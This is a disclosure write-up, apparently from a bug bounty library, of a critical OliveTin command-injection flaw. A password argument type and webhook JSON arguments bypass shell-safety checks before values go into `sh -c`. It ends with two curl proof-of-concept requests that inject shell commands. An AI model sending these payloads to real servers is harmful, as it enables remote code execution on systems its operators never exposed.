# OliveTin: OS Command Injection via `password` argument type and webhook JSON extraction bypasses shell safety checks

OliveTin's shell safety check omits the password argument type and webhook JSON args skip type checks, letting attackers inject shell metacharacters into sh -c for RCE.

- Payout: Research
- Severity: critical
- Program: OliveTin
- Found by: ByamB4
- Disclosed: 2026-02-25
- CVE: CVE-2026-27626
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-49gm-hh7w-wfvf
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-49gm-hh7w-wfvf
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:command-injection vuln:rce

**Target:** OliveTin action executor / webhook endpoint (Go, sh -c)
**Root cause:** checkShellArgumentSafety's unsafe-type map omits 'password', and webhook-extracted JSON arguments have no config-defined ActionArgument so TypeSafetyCheck is skipped entirely before templating into sh -c.
**Steps:**
1. Inspect `service/internal/executor/arguments.go`: `case "password": return nil` and the `unsafe` map lacks `password`.
2. Vector 1: POST to `/api/StartAction` with `{"actionId": "run-command", "arguments": [{"name": "pass", "value": "'; id; echo '"}]}`.
3. Vector 2: POST to unauthenticated `/webhook/git-deploy` with `{"git_message": "x; id #", "git_author": "attacker"}` against a Shell-mode template like `git pull && echo {{ git_message }}`.
4. Observe `uid=1000(olivetin)` output and arbitrary file write to `/tmp/pwned`.
**How found:** Code review of the argument safety logic: noticed the unsafe-type map enumerates url/email/raw_string_multiline/very_dangerous_raw_string but omits password, then traced webhook JSON extraction in handler.go to find arguments with no ActionArgument entry skip TypeSafetyCheck.
**Exploitation:** Attacker supplies shell metacharacters either as a password-typed action argument (authenticated, registration enabled by default) or via webhook JSON keys that bypass type checks (unauthenticated, authType none by default); values are templated into the command and run through `sh -c`, yielding OS command execution as the OliveTin process user.
**Escalation:** Vector 2 turns the authenticated-only password bypass into unauthenticated RCE on instances receiving external webhooks, a primary OliveTin use case.
**Insight:** When a safety denylist enumerates dangerous argument types, diff it against the full set of accepted types — the missing entry is the bypass; also check alternate input paths (webhooks, API) that populate the same argument struct without going through config-defined type validation.

## Proof of concept (copied exactly from the original report)

**curl StartAction password injection**

```
curl -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d '{"actionId": "run-command", "arguments": [{"name": "pass", "value": "'; id; echo '"}]}'
```

**curl unauthenticated webhook injection**

```
curl -X POST http://localhost:1337/webhook/git-deploy \
  -H "Content-Type: application/json" \
  -d '{"git_message": "x; id #", "git_author": "attacker"}'
```

